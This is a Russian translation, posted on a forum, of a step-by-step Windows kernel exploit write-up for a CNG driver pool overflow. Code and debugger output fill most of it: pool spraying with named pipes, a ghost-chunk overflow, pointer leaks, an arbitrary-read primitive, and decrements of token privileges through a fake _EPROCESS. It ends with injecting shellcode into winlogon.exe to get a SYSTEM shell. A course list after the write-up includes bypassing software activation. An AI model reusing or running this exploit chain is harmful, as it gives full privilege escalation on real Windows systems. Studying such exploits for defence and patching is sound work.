Идея состоит в том, чтобы выделить два блока VS d1 размером около 11 страниц, что приведет к созданию нового субсегмента на 23 страницы; затем освободите два фрагмента d1 и запросите фрагмент d2 на 12 страниц и фрагмент d2 на 10 страниц. Это обеспечит порядок, в котором d2 будет в начале подсегмента.
Code:Copy to clipboard
[+] RtlpHpVsSubsegmentCreate(req=ae70): alloc ffff8d8f57fc5000 size 1ffd
[+] Allocated ae40 bytes DataEntry at ffff8d8f57fc6000
[+] Allocated ae40 bytes DataEntry at ffff8d8f57fd1000
[+] RtlpHpVsSubsegmentCreate(req=be70): alloc ffff8d8f57fc5000 size 1ffd
[+] Allocated be40 bytes DataEntry at ffff8d8f57fc6000
[+] Allocated 9e30 bytes DataEntry at ffff8d8f57fd2000
Судя по текущему анализу, мы пока не можем создать подсегмент размером более 128 КБ. Соответствующий код для выделения подсегмента размером более 64 КБ:
C++:Copy to clipboard
void __fastcall ExAllocateHeapPool(unsigned int PoolType, SIZE_T NumberOfBytes, ULONG Tag, ULONG_PTR BugCheckParameter2, char a5)
{
// ...
// RtlpHpLargeAlloc() for larger than 0x20000
if ( _size > 0x20000 ) {
JUMPOUT(_size, *(unsigned int *)(v16 + 464), sub_1404675B9);
v78 = RtlpHpLargeAlloc(v16, _size, _size, v54);
v56 = v78;
}
else {
// Use VsContext for <= 0x20000
a6 = 0;
v98 = 0i64;
*(_OWORD *)a5a = 0i64;
// One of system 0x20000 goes through here, when reqested 0x9070
v56 = (__int64)RtlpHpVsContextAllocateInternal(// goes to VsContext allocator!
(_HEAP_VS_CONTEXT *)(v16 + 0x280),
_size,
v55,
v54,
(__int64)a5a,
&a6);
// ...
}
// ...
}
Окончательный макет 23-страничного подсегмента выглядит следующим образом:
Code:Copy to clipboard
[guard][g3,1P][------- g1, 10P --------][----- free space of 12P -----][guard]
2. Распылите целевых чанков
Этот шаг предназначен для заполнения 12 страниц свободного пространства после
g1 целевыми фрагментами.
C++:Copy to clipboard
target_pipes = prepare_pipe(0x3D0, spray_cnt * 12 * 4 / 10, 'T', 20);
spray(target_pipes);
На каждой из 12 страниц будут выделены 4 целевых фрагмента и выровнены с одинаковыми смещениями, причем их фрагмент _POOL_HEADER начинается с 0x000, 0x3F0, 0x7E0, 0xBD0 соответственно. Мы ожидаем, что призрачный фрагмент будет на 0x7E0 страницы, а целевой фрагмент T, следующий за ним, будет на 0xBD0. Как показано ниже:
Code:Copy to clipboard
ffffd20a`a3f797d0 9e15ce1a de4a7ff9 0000000e ffffd20a ......J.........
ffffd20a`a3f797e0 0a3e9f00 7246704e 6cbebe8c 0e5b280c ..>.NpFr...l.([.
ffffd20a`a3f797f0 9092a4b8 ffff870e 9092a4b8 ffff870e ................
ffffd20a`a3f79800 00000000 00000000 909cfa00 ffff870e ................
ffffd20a`a3f79810 00000000 000003a0 000003a0 44444444 ............DDDD
ffffd20a`a3f79820 54545454 54545454 54545454 54545454 TTTTTTTTTTTTTTTT
ffffd20a`a3f79bc0 9e15c20a de4a7ff9 0000001e ffffd20a ......J.........
ffffd20a`a3f79bd0 0a3e9f00 7246704e 6cbeb2bc 0e5b280c ..>.NpFr...l.([.
ffffd20a`a3f79be0 9092a878 ffff870e 9092a878 ffff870e x.......x.......
ffffd20a`a3f79bf0 00000000 00000000 909cfdc0 ffff870e ................
ffffd20a`a3f79c00 00000000 000003a0 000003a0 44444444 ............DDDD
ffffd20a`a3f79c10 54545454 54545454 54545454 54545454 TTTTTTTTTTTTTTTT
3. Создайте дыры
Теперь мы можем освободить все блоки g1, чтобы получить непрерывное свободное
пространство в 10 страниц. И выделить hole чанки (0x7F0 байтов). Поскольку
каждая страница не может содержать два hole чанка, ожидается, что они будут
размещены в начале каждой страницы на каждой свободной странице. После
распределения всех hole чанков, выделите fill блоки (0x7B0 байтов), чтобы они
занимали свободное пространство после каждого блока отверстий. Наконец, мы
освобождаем одно отверстие для каждых 0x10 выделений, чтобы получить примерно
одно отверстие на подсегмент для последних 2/3 созданных подсегментов.
C++:Copy to clipboard
hole_pipes = prepare_pipe(0x800 - 0x40, spray_cnt, 'H', 0); // 0x7f0 chunk
fill_pipes = prepare_pipe(0x7D0 - 0x40, spray_cnt, 'F', 0); // 0x7b0 chunk
close_all_pipe_from_idx(g1_pipes, 0);
spray(hole_pipes);
spray(fill_pipes);
create_holes_from(hole_pipes, spray_cnt / 3);
В этом макете спрея мы ожидаем, что каждый hole чанк будет распологаться в начале страницы.
4. Вызываем ошибку CNG
Теперь мы готовы активировать уязвимость, и ожидается, что выходной буфер CNG
попадет в одну из только что созданных дыр.
C:Copy to clipboard
CONST DWORD DataBufferSize = 0x2BF9; // overwrites 0x2BF9 * 6 = 0x107D6 bytes, till 0x107E6
CONST DWORD IoctlSize = 4096 + DataBufferSize;
BYTE *IoctlData = (BYTE *)HeapAlloc(GetProcessHeap(), 0, IoctlSize);
RtlZeroMemory(IoctlData, IoctlSize);
*(DWORD*) &IoctlData[0x00] = 0x1A2B3C4D;
*(DWORD*) &IoctlData[0x04] = 0x10400;
*(DWORD*) &IoctlData[0x08] = 1;
*(ULONGLONG*)&IoctlData[0x10] = 0x100;
*(DWORD*) &IoctlData[0x18] = 3;
*(ULONGLONG*)&IoctlData[0x20] = 0x200;
*(ULONGLONG*)&IoctlData[0x28] = 0x300;
*(ULONGLONG*)&IoctlData[0x30] = 0x400;
*(DWORD*) &IoctlData[0x38] = 0;
*(ULONGLONG*)&IoctlData[0x40] = 0x500;
*(ULONGLONG*)&IoctlData[0x48] = 0x600;
*(DWORD*) &IoctlData[0x50] = DataBufferSize; // OVERFLOW
*(ULONGLONG*)&IoctlData[0x58] = 0x1000;
*(ULONGLONG*)&IoctlData[0x60] = 0;
RtlCopyMemory(&IoctlData[0x200], L"FUNCTION", 0x12);
RtlCopyMemory(&IoctlData[0x400], L"PROPERTY", 0x12);
memset(IoctlData + 0x1000 + DataBufferSize - 0x2, '\xdd', 0x2); // write 0x64 as BS
ULONG_PTR OutputBuffer = 0;
DWORD BytesReturned;
BOOL Status = DeviceIoControl(
hCng,
0x390400,
IoctlData,
IoctlSize,
&OutputBuffer,
sizeof(OutputBuffer),
&BytesReturned,
NULL
);
После перезаписи один из целевых фрагментов с желаемым смещением перезаписывается 6 байтами по адресу 0x7E6:
Code:Copy to clipboard
1: kd> gu
cng!CfgAdtReportFunctionPropertyOperation+0x22d:
fffff803`65351e39 85c0 test eax,eax
1: kd> dc ffffd20a`a3f797d0
ffffd20a`a3f797d0 00200030 00300030 00640020 00200064 0. .0.0. .d.d. .
ffffd20a`a3f797e0 00640064 72460020 6cbebe8c 0e5b280c d.d. .Fr...l.([.
ffffd20a`a3f797f0 9092a4b8 ffff870e 9092a4b8 ffff870e ................
ffffd20a`a3f79800 00000000 00000000 909cfa00 ffff870e ................
ffffd20a`a3f79810 00000000 000003a0 000003a0 44444444 ............DDDD
ffffd20a`a3f79820 54545454 54545454 54545454 54545454 TTTTTTTTTTTTTTTT
ffffd20a`a3f79830 54545454 54545454 54545454 54545454 TTTTTTTTTTTTTTTT
ffffd20a`a3f79840 54545454 54545454 54545454 54545454 TTTTTTTTTTTTTTTT
BlockSize блока перезаписан на 0x64 с предыдущего 0x3E. Остальные 5 соседних байтов перезаписаны либо не используются, либо не имеют значения. Мы называем этот фрагмент чанком призраком, поскольку его размер увеличился, чтобы перекрыть следующий целевой фрагмент T:
Code:Copy to clipboard
ffffd20a`a3f79bc0 9e15c20a de4a7ff9 0000001e ffffd20a ......J.........
ffffd20a`a3f79bd0 0a3e9f00 7246704e 6cbeb2bc 0e5b280c ..>.NpFr...l.([.
ffffd20a`a3f79be0 9092a878 ffff870e 9092a878 ffff870e x.......x.......
ffffd20a`a3f79bf0 00000000 00000000 909cfdc0 ffff870e ................
ffffd20a`a3f79c00 00000000 000003a0 000003a0 44444444 ............DDDD
ffffd20a`a3f79c10 54545454 54545454 54545454 54545454 TTTTTTTTTTTTTTTT
Освободив призрачный фрагмент и снова выделив его, мы можем записать 0x640 - 0x3E0 = 0x260 байтов произвольных данных в целевой фрагмент T. Эффективное преобразование однобайтовой перезаписи на BlockSize в управляемое линейное переполнение пула. И этот примитив можно вызывать многократно, что позволяет нам создавать более мощные примитивы.
Предполагая, что позже обработанные целевые фрагменты распределяются последовательно, мы можем выполнить поиск в обратном направлении по дескрипторам целевых фрагментов, чтобы найти фантомный фрагмент. Идея состоит в том, чтобы освободить один целевой блок с его дескриптором, а затем немедленно выделить его обратно, а затем проверить соседний целевой блок, чтобы определить, произошло ли линейное переполнение пула. Выполняя поиск в обратном направлении, мы гарантируем, что если освобожденный целевой фрагмент не является призраком, он будет немедленно выделен обратно.
C++:Copy to clipboard
lookaside_t *ghost_lookaside = prepare_lookaside(0x640);
lookaside_t *target_lookaside = prepare_lookaside(0x3E0);
enable_lookaside(2, ghost_lookaside, target_lookaside);
С помощью динамического вспомогательного списка освобожденный блок-призрак (BlockSize 0x64) не вернется к обычному механизму освобождения, избегая BSOD, поскольку его заголовок блока VS поврежден:
Code:Copy to clipboard
1: kd> dc ffffd20a`a3f797d0
ffffd20a`a3f797d0 00200030 00300030 00640020 00200064 0. .0.0. .d.d. . // VS header
ffffd20a`a3f797e0 00640064 72460020 6cbebe8c 0e5b280c d.d. .Fr...l.([.
Обратите внимание, что мы не можем искать последовательно вперед, потому что между буфером CNG и призрачным фрагментом есть поврежденные фрагменты размером около 64 КБ, случайное освобождение любого из них приведет к немедленному BSOD. Мы создаем полезную нагрузку фантомного фрагмента следующим образом, обратите внимание, что указатели на корневую очередь недействительны. Нам нужно остановить поиск, как только будет найден целевой фрагмент T, поскольку освобождение объекта DQE с недопустимой корневой очередью приводит к немедленному BSOD.
Code:Copy to clipboard
// craft ghost chunk data in ghost_pipes->payload
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x00) = 0xdeadbeef;// leak_root_queue
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x08) = 0xdeadbeef;// leak_root_queue
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x10) = 0xdeadbeef;// Irp
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x18) = 0;// Security Context
*(UINT32*)(ghost_pipes->payload+0x3F0-0x30+0x20) = 0;// Type: Unbuffered
*(UINT32*)(ghost_pipes->payload+0x3F0-0x30+0x24) = 0xFFFFFFFF;// QuotaInEntry
*(UINT32*)(ghost_pipes->payload+0x3F0-0x30+0x28) = 0xFFFFFFFF;// DataSize
*(UINT32*)(ghost_pipes->payload+0x3F0-0x30+0x30) = 0x67676767;// Buf[]: "gggg"
Теперь мы можем начать поиск:
Code:Copy to clipboard
_LOG(output, "[*] Searching for overwritten target chunk\n");
for (ghost_idx = target_pipes->cnt - 2; ghost_idx >= 0; ghost_idx --)
{
BYTE buf[0x10] = { 0 };
create_hole_at(target_pipes, ghost_idx); // free DataEntry T[i]
fill_hole_at(ghost_pipes, ghost_idx); // alloc ghost chunk
peek_data(target_pipes, ghost_idx + 1, buf, 8);
if ( *(UINT32*)buf == 0x67676767 ) { // found "gggg"
aar_index = ghost_idx + 1;
aar_pipes = target_pipes;
_LOG(output, "[+] Target chunk at: index 0x%X, handle 0x%llX\n",
aar_index, (UINT64)target_pipes->writePipe[aar_index]);
break;
}
fill_hole_at(target_pipes, ghost_idx); // refill T[i]
}
6. Утечка действительного указателя корневой очереди
Когда фантомный фрагмент обнаружен, соседний целевой фрагмент T
перезаписывается управляющими данными, включая DataSize и QuotaInEntry,
изменяемые на 0xFFFFFFFF. Как уже использовалось при тестировании перезаписи
при поиске на предыдущем шаге, мы можем утечь большое количество данных с
помощью PeekNamedPipe. Читая за концом целевого фрагмента T на следующую
страницу, мы можем получить действительный указатель на корневую очередь.
C++:Copy to clipboard
BYTE leak[0x480] = { 0 };
if ( !peek_data(target_pipes, aar_index, leak, sizeof(leak)) ) exp_failed();
if (*(UINT32*)(leak + 0x430 - 0x8) != 0x3A0) {
_LOG(output, "[-] Failed to locate next target chunk of size 0x3a0\n");
exp_failed();
}
leak_root_queue = *(UINT64*)(leak + 0x430 - 0x30);
target_pool_hdr = *(UINT64*)(leak + 0x430 - 0x30 - 0x10);
_LOG(output, "[+] Leaked Queue Ptr at\t: 0x%p\n", leak_root_queue);
7. Примитив произвольного чтения
Теперь мы можем снова вызвать контролируемое линейное переполнение пула,
освободив фантомный фрагмент и выделив его обратно, на этот раз мы можем
установить указатель корневой очереди на действительный указатель, только что
утекший, тем временем мы устанавливаем указатель IRP на созданный объект IRP в
пользовательском режиме, и установливаем для DataEntryType значение 1 (без
буферизации). Обновленный целевой фрагмент T теперь может использоваться как
примитив произвольного чтения адреса (AAR).
C++:Copy to clipboard
typedef struct pipe_queue_entry_sub {
UINT64 unk;
UINT64 unk1;
UINT64 unk2;
UINT64 data_ptr; // AssociatedIrp.SystemBuffer
} pipe_queue_entry_sub_t;
pipe_queue_entry_sub_t * fake_pipe_queue_sub;
fake_pipe_queue_sub = (pipe_queue_entry_sub_t *)malloc(sizeof(pipe_queue_entry_sub_t));
memset(fake_pipe_queue_sub, 0, sizeof(pipe_queue_entry_sub_t));
// update the ghost chunk, fix _POOL_HEADER
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x00)= leak_root_queue; // QE.Flink
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x08)= leak_root_queue; // QE.Blink
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x10)= (UINT64) fake_pipe_queue_sub;
*(UINT32*)(ghost_pipes->payload+0x3F0-0x30+0x20)= 1; // Bufferred
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30-0x10)=target_pool_hdr;
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30-0x08)=0; // Clear ProcessBilled
*(UINT8*) (ghost_pipes->payload+0x3F0-0x30-0x10+0x3)=0x2; // Clear Quota bit
*(UINT32*)(ghost_pipes->payload+0x3F0-0x30+0x30)=0x6b61656c; // Buf[]: "leak"
create_hole_at(ghost_pipes, ghost_idx); // free ghost chunk
fill_hole_at(ghost_pipes, ghost_idx); // rewrite ghost chunk "GGG0"
current_pipe_offset = 0;
Теперь мы можем использовать эти две функции для выполнения AAR размером 4/8 или более байтов:
C++:Copy to clipboard
void arb_read_bytes(UINT64 where, int size, BYTE* readbuf)
{
fake_pipe_queue_sub->data_ptr = where;
peek_data(aar_pipes, aar_index, readbuf, size);
current_pipe_offset += size;
}
UINT64 arb_read(UINT64 where, int size)
{
BYTE readbuf[0x100] = { 0 };
fake_pipe_queue_sub->data_ptr = where;
peek_data(aar_pipes, aar_index, readbuf, size);
current_pipe_offset += size;
return size > 4 ? *(UINT64*)readbuf : *(UINT32*)readbuf;
}
**
8. Утечка указателей и значений**
С AAR у нас есть утечка указателя корневой очереди в качестве отправной точки,
мы можем утечь указатели и переменные, необходимые для этого эксплойта. Этот
шаг ссылается на работу и образец кода в [3] и требует некоторого обращения к
реальным структурам данных в _NP_CCB (блок управления клиентом именованного
канала) и _NP_FCB (блок управления файлом именованного канала).
По утекшему указателю корневой очереди мы можем найти связанный файловый объект, а затем объект устройства и объект драйвера. Из указателя на объект драйвера мы можем получить указатель на функцию NpFsdCreate. Хотя это смещение все еще зависит от конкретной версии NPFS.sys, это смещение относительно стабильно во всех сборках Windows 10, мы можем получить базовый адрес !npfs. В финальной версии мы используем обратный поиск PE-заголовка по указателю NpFsdCreate, вызывая get_pe_base.
Методом проб и ошибок мы нашли две функции ntoskrnl, которые импортирует npfs, у которых есть прямые ссылки на переменные и указатель, который нам нужен для ntoskrnl. Мы используем find_nt_variables для извлечения их фактического адреса в памяти. Это общий метод, поскольку ntoskrnl имеет множество различных бинарных выпусков с 1903 по 20H2. Путем анализа двоичного файла из функций импорта ExFreePoolWithTag и ExAllocatePoolWithQuotaTag, мы можем получить адреса nt!RtlpHpHeapGlobals, на который ссылаются при кодировании/декодировании _HEAP_VS_CHUNK_HEADER, который позже используется указателем nt!PsInitialSystemProcess, который необходим для обхода активных процессов, чтобы найти указатели на сам процесс winlogon.exe и _EPROCESS. Поиск осуществляется с помощью find_address (начало UINT64, BYTE * opcode, BYTE * before, BYTE * after) с начальным адресом для поиска, шаблонами опкодов до и после адреса для поиска. Поскольку код управления памятью относительно стабилен в различных двоичных файлах ntoskrnl, ожидается, что он будет работать как общий для Windows 10. Алгоритм может потребоваться корректировка при тестировании другой сборки, которая не работает на этом этапе.
C++:Copy to clipboard
/* PsInitialSystemProcess - npfs imported ExAllocatePoolWithQuotaTag+0x36
* ExpPoolQuotaCookie - npfs imported ExAllocatePoolWithQuotaTag+0x90
* RtlpHpHeapGlobals - npfs imported ExFreeHeapPool+{0xC2,0xBD}: {20Hx,190x}
*/
BOOL find_nt_variables(UINT64 npfs_base_addr)
{
UINT64 ExAllocatePoolWithQuotaTag, ExFreePoolWithTag, ExFreeHeapPool;
UINT64 ExAllocatePoolWithQuotaTag_ptr, ExFreePoolWithTag_ptr;
ExFreePoolWithTag_ptr = npfs_base_addr + off_Npfs_ExFreePoolWithTag;
ExAllocatePoolWithQuotaTag_ptr = npfs_base_addr + off_Npfs_ExAllocatePoolWithQuotaTag;
ExAllocatePoolWithQuotaTag = arb_read(ExAllocatePoolWithQuotaTag_ptr, 0x8);
ExFreePoolWithTag = arb_read(ExFreePoolWithTag_ptr, 0x8);
/*
48 83 EC 28 sub rsp, 28h
E8 97 7A CD FF call ExFreeHeapPool
48 83 C4 28 add rsp, 28h
*/
ExFreeHeapPool = find_address(ExFreePoolWithTag, "\xE8",
"\x48\x83\xEC\x28", "\x48\x83\xC4\x28");
/*
48 8D 04 49 lea rax, [rcx+rcx*2]
48 33 1D BC 1B 3F 00 xor rbx, cs:RtlpHpHeapGlobals
48 33 DF xor rbx, rdi
48 C1 E0 06 shl rax, 6
*/
RtlpHpHeapGlobals_ptr = find_address(ExFreeHeapPool + 0xBD - 0x10,
"\x48\x33\x1D", "\x48\x8D\x04\x49", "\x48\x33\xDF\x48");
/*
44 0F 44 C9 cmovz r9d, ecx
48 3B 3D D3 EF A3 00 cmp rdi, cs:PsInitialSystemProcess
41 8D 69 08 lea ebp, [r9+8]
*/
PsInitialSystemProcess_ptr = find_address(ExAllocatePoolWithQuotaTag + 0x32 - 0x10,
"\x48\x3B\x3D", "\x44\x0F\x44\xC9", "\x41\x8D\x69\x08");
/*
49 8D 5F F0 lea rbx, [r15-10h]
48 8B 15 29 F5 A3 00 mov rdx, cs:ExpPoolQuotaCookie
45 33 C0 xor r8d, r8d
48 8B C2 mov rax, rdx
*/
ExpPoolQuotaCookie_ptr = find_address(ExAllocatePoolWithQuotaTag + 0x8C - 0x10,
"\x48\x8B\x15", "\x49\x8D\x5F\xF0", "\x45\x33\xC0\x48");
return (RtlpHpHeapGlobals_ptr && PsInitialSystemProcess_ptr && ExpPoolQuotaCookie_ptr);
}
Кроме этого, нам также нужно найти указатель _EPROCESS для собственного процесса и winlogon.exe. Поскольку мы уже получили nt!PsInitialSystemProcess, это хорошо документированный процесс получения структур процессов и адреса токена.
9. Готовимся к произвольному декрименту
Когда флаг PoolQuota установлен в _POOL_HEADER фрагмента VS, ProcessBilled
устанавливается на закодированный указатель _EPROCESS, который используется
для отслеживания распределения и освобождения статистики связанного фрагмента.
QuotaBlock плохо документирован и, похоже, обновляется в разных сборках
Windows. Требуется реверсирование соответствующих функций и метод проб и
ошибок.
Code:Copy to clipboard
0: kd> dt nt!_EPROCESS 0xffffc50d9fc1d030 QuotaBlock
+0x568 QuotaBlock : 0xffffb203`c294e0a8 _EPROCESS_QUOTA_BLOCK
Когда блок освобождается, QuotaEntry соответствующего PsQuotaTypes изменяется. Произвольный декремент основан на вычитании в nt!PspReturnQuota, вызываемом из nt!ExFreeHeapPool: мы можем вычесть размер блока из QuotaEntry [PsNonPagedPool] .Usage. Следовательно, создав структуру _EPROCESS с указателем QuotaBlock, указывающим на определенное смещение к определенным позициям в токене, мы можем вычесть размер блока из QWORD в _TOKEN.Privileges, эффективно перевернув некоторые биты в полях Present и Enabled.
C++:Copy to clipboard
__int64 __fastcall ExFreeHeapPool(ULONG_PTR BugCheckParameter2)
{
// ...
if ( ChunkAddr & 0xFFF ) // not page aligned
{
OriginalHeader = ChunkAddr - 16;
if ( *(_BYTE *)(ChunkAddr - 13) & 4 ) // test PoolType & CacheAligned
{
OriginalHeader -= 16i64 * (unsigned __int8)*(_WORD *)OriginalHeader;
*(_BYTE *)(OriginalHeader + 3) |= 4u;
}
_PoolType = *(unsigned __int8 *)(OriginalHeader + 3);
_Tag = *(_DWORD *)(OriginalHeader + 4);
if ( _PoolType & 8 ) // PoolQuota flag: ProcessBilled
{
Process = (_BYTE *)(OriginalHeader ^ ExpPoolQuotaCookie ^ *(_QWORD *)(OriginalHeader + 8));
if ( OriginalHeader != (ExpPoolQuotaCookie ^ *(_QWORD *)(OriginalHeader + 8)) )
{
JUMPOUT(Process, 0xFFFF800000000000i64, &BugCheck_C2_466E46);
JUMPOUT(*Process & 0x7F, 3, &BugCheck_C2_466E46);
if ( Process != (_BYTE *)PsInitialSystemProcess )
{
PspReturnQuota(
*(char **)((OriginalHeader ^ ExpPoolQuotaCookie ^ *(_QWORD *)(OriginalHeader + 8)) + 0x568),
(_EPROCESS *)(OriginalHeader ^ ExpPoolQuotaCookie ^ *(_QWORD *)(OriginalHeader + 8)),
_PoolType & 1,
16i64 * (unsigned __int8)*(_WORD *)(OriginalHeader + 2));
Tag = *(unsigned int *)(OriginalHeader + 4);
}
ObDereferenceObjectDeferDeleteWithTag((ULONG_PTR)Process);// EPROCESS
}
}
// ...
}
В этом эксплойте PsPoolTypes равен 0 (PsNonPagedPool), а поле Usage находится со смещением 0 каждого EPROCESS_QUOTA_ENTRY, мы просто устанавливаем указатель QuotaBlock на расположение LSB для уменьшения:
C++:Copy to clipboard
// note the fake _EPROCESS starts at offset 0x70 of each buffer
void setup_fake_eprocess(UINT64 token_addr)
{
char fake_eproc_buf[0x3000] = { 0 };
copySelfEprocess(fake_eproc_buf, self_eprocess);
memcpy(fake_eproc_buf+0x1000, fake_eprocess_buf, FAKE_EPROCESS_SIZE);
#ifdef _WINDLL
memcpy(fake_eproc_buf+0x2000, fake_eprocess_buf, FAKE_EPROCESS_SIZE);
*(UINT64*)(fake_eproc_buf+0x70+off_QuotaBlock)=token_addr+0x4B; // dec1
*(UINT64*)(fake_eproc_buf+0x1070+off_QuotaBlock)=token_addr+0x44;// dec2
*(UINT64*)(fake_eproc_buf+0x2070+off_QuotaBlock)=token_addr+0x3D;// dec3
#else
*(UINT64*)(fake_eproc_buf+0x70+off_QuotaBlock)= token_addr+0x40;// 0x40 Present
*(UINT64*)(fake_eproc_buf+0x1070+off_QuotaBlock)= token_addr+0x48;//0x48 Enabled
#endif
alloc_fake_eprocess(fake_eprocess_buf, target_pipes, aar_index + 2);
}
Поддельный _EPROCESS - это точная копия собственного процесса с использованием AAR. Из-за разных начальных значений в токене нам нужны разные места для версии LPE и версии DLL. Как в коде выше.
Чтобы успешно освободить фрагмент таким образом, чтобы декремент QuotaBlock был эффективным, нам также необходимо исправить заголовок фрагмента VS _HEAP_VS_CHUNK_HEADER, сначала пропустив адрес VS Subsegment VSSubSegmentAddr с помощью find_vs_subsegment, а затем используя fix_vs_header, поскольку мы хотим освободить целевой фрагмент T. nt! RtlpHpHeapGlobals используется для получения HeapKey для кодирования заголовка. Фактический указатель _EPROCESS, обновляемый в ProcessBilled, кодируется через encode_ep:
C++:Copy to clipboard
// chunk_addr: address of the _POOL_HEADER
UINT64 encode_ep(UINT64 eproc, UINT64 chunk_addr)
{
return eproc ^ ExpPoolQuotaCookie ^ chunk_addr;
}
10. Выполняем декремент
Наконец, мы вызываем декремент, сначала вызывая переполнение линейного пула
призрачного фрагмента, чтобы обновить созданный закодированный указатель
ProcessBilled, правильный указатель корневой очереди target_write_queue для
текущего целевого фрагмента T (обратите внимание, что T хотя и находится по
тому же адресу, но фактически изменяется на новый блок каждый раз, когда он
перераспределяется, то есть с другим указателем корневой очереди), установите
флаг PoolQuota для заголовка и с фиксированным заголовком фрагмента VS. После
переполнения мы можем освободить T, чтобы вызвать декремент.
Для стабильности нам нужно немедленно вернуть кусок T обратно, также в рамках подготовки к следующему декременту. Это делается с помощью rewrite_pipes и rewrite_pipes2, если требуется 3-й декремент. В настоящее время мы используем конвейеры перезаписи 0x200, чтобы восстановить кусок T для надежности. Каждый раз после перезаписи мы снова вызываем переполнение линейного пула призрачных фрагментов, чтобы превратить T в примитив утечки для поиска правильного фрагмента среди объектов DQE конвейера перезаписи:
C++:Copy to clipboard
rewrite_pipes = prepare_pipe(0x3D0, NUM_REWRITE_PIPES, 'V', 0); // for final decrement
rewrite2_pipes = prepare_pipe(0x3D0, NUM_REWRITE_PIPES, 'Z', 0);// to fill rewrite_pipes
rewrite3_pipes = prepare_pipe(0x3D0, NUM_REWRITE_PIPES, 'A', 0);// to fill rewrite2_pipes
Возьмем, к примеру, 2-й декремент, мы сначала перезаписываем T, чтобы он стал примитивом утечки (помечен как aar2), затем используем его, чтобы убедиться, что предыдущее восстановление работает нормально, а затем определяем новый фрагмент T. С помощью дескриптора мы можем найти его исходный указатель на корневую очередь с помощью find_write_queue, используя таблицу дескрипторов процесса. Наконец, мы снова вызываем переполнение линейного пула, используя призрачный фрагмент, чтобы установить новый ProcessBilled и пометить его как dec2, чтобы он был готов к освобождению для выполнения 2-го декремента.
C++:Copy to clipboard
// enable the arb_read() primitive and restore the target chunk to 0x3E0 bytes
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30-0x10) = target_pool_hdr;// _POOL_HEADER
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30-0x08) = 0; // Clear ProcessBilled
*(UINT8*) (ghost_pipes->payload+0x3F0-0x30-0x10+0x3) = 0x2; // Clear Quota bit
fix_vs_header((UINT64 *)(ghost_pipes->payload+0x3F0-0x30-0x20), target_page_addr + 0xbe0 - 0x20, 0x3e0);
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x00)=leak_root_queue;// QE.Flink
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x08)=leak_root_queue;// QE.Blink
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x10)=(UINT64)fake_pipe_queue_sub;
*(UINT32*)(ghost_pipes->payload+0x3F0-0x30+0x20)=1; // Unbuffered -> Bufferred
*(UINT32*)(ghost_pipes->payload+0x3F0-0x30+0x30)=0x32726161;// Buf[]: "aar2"
*(UINT32*)(ghost_pipes->payload+0x00) = 0x324C4747; // Mark: "GGL2"
create_hole_at(ghost_pipes, ghost_idx); // free ghost chunk
fill_hole_at(ghost_pipes, ghost_idx); // rewrite ghost chunk
current_pipe_offset = 0;
for (aar_index = 0; aar_index < NUM_REWRITE_PIPES; aar_index ++) {
BYTE buf[0x10] = { 0 };
if (!peek_data(rewrite_pipes, aar_index, buf, 8)) exp_failed();
if ( *(UINT32*)buf != 0x56565656) { // found overwrite if not 'VVVV'
aar_pipes = rewrite_pipes;
_LOG(output, "[+] Rewrite chunk (aar2/dec2) at: index 0x%X, handle 0x%llX\n", aar_index, (UINT64)rewrite_pipes->writePipe[aar_index]);
break;
}
}
if (aar_index == NUM_REWRITE_PIPES) {
_LOG(output, "[+] First rewrite of 0x3E0 bytes chunks failed. \n");
exp_failed();
}
// find the WriteQueue of the reclaimed rewrite chunk after ghost overwrite to fix it
find_write_queue(self_eprocess, rewrite_pipes->writePipe[aar_index]);
*(UINT64 *)(ghost_pipes->payload+0x3F0-0x30+0x00)=target_write_queue;// QE.Flink
*(UINT64 *)(ghost_pipes->payload+0x3F0-0x30+0x08)=target_write_queue;// QE.Blink
*(UINT64 *)(ghost_pipes->payload+0x3F0-0x30-0x08)=encode_ep(fake_eprocess + 0x1000, target_page_addr + 0xbe0 - 0x10);
*(UINT8 *) (ghost_pipes->payload+0x3F0-0x30-0x10+0x3) |= 0x8; // Set Quota bit
*(UINT64 *)(ghost_pipes->payload+0x3F0-0x30+0x10)=0; // Clear Irp buffer
*(UINT32 *)(ghost_pipes->payload+0x3F0-0x30+0x20)=0; // Unbufferred
*(UINT32 *)(ghost_pipes->payload+0x3F0-0x30+0x30)=0x32636564;// Buf[]: "dec2"
*(UINT32 *)(ghost_pipes->payload+0x00)=0x32474747; // Mark: "GGG2"
create_hole_at(ghost_pipes, ghost_idx); // free ghost chunk
fill_hole_at(ghost_pipes, ghost_idx); // rewrite ghost chunk
// perform 2nd decrement (-0x3E0) at Token + 0x48: 0x800000 - 0x3e0 = 0x7ffc20
create_hole_at(rewrite_pipes, aar_index);
spray(rewrite2_pipes);
Обратите внимание, что объект DQE должен быть переведен в небуферизованный режим, прежде чем он будет освобожден.
11. Вызываем оболочку SYSTEM
После получения SeDebugPrivilege мы можем внедрить шелл-код в winlogon.exe для
создания оболочки SYSTEM.
Ссылки
От ТС
Эта статья является переводом, оригинал доступен
тут
Получившийся перевод дался не легко, в тексте очень много терминов и их
склонений которые очень сложно перевести на русский так, чтобы передать суть.
Если в переводе есть ошибки - не стесняйтесь о них писать!
Перевод:
Azrv3l cпециально для xss.is
Содержание курса
Реверс-инжиниринг
Вебинар «Введение в курс»
Видеоурок «Знакомство с Ассемблером»
Видеоурок «Анализ PE-файлов»
Видеоурок «Реверс-инжиниринг с помощью OllyDbg»
Видеоурок «Способы обхода активации программ»
Вебинар «Консультация»
Видеоурок «Антиотладочные приемы»
Видеоурок «Реверс-инжиниринг программ с архитектурой х64»
Видеоурок «Поиск уязвимостей»
Криптография. Интерактивный курс
Введение в курс
Симметричная криптография
Криптографические хеш-функции
Message Authentication Code
Асимметричная криптография и другие темы
Бинарные уязвимости
Вебинар "Введение в курс"
Видеоурок 1 - Базовые знания
Видеоурок 2 - Переполнение стека
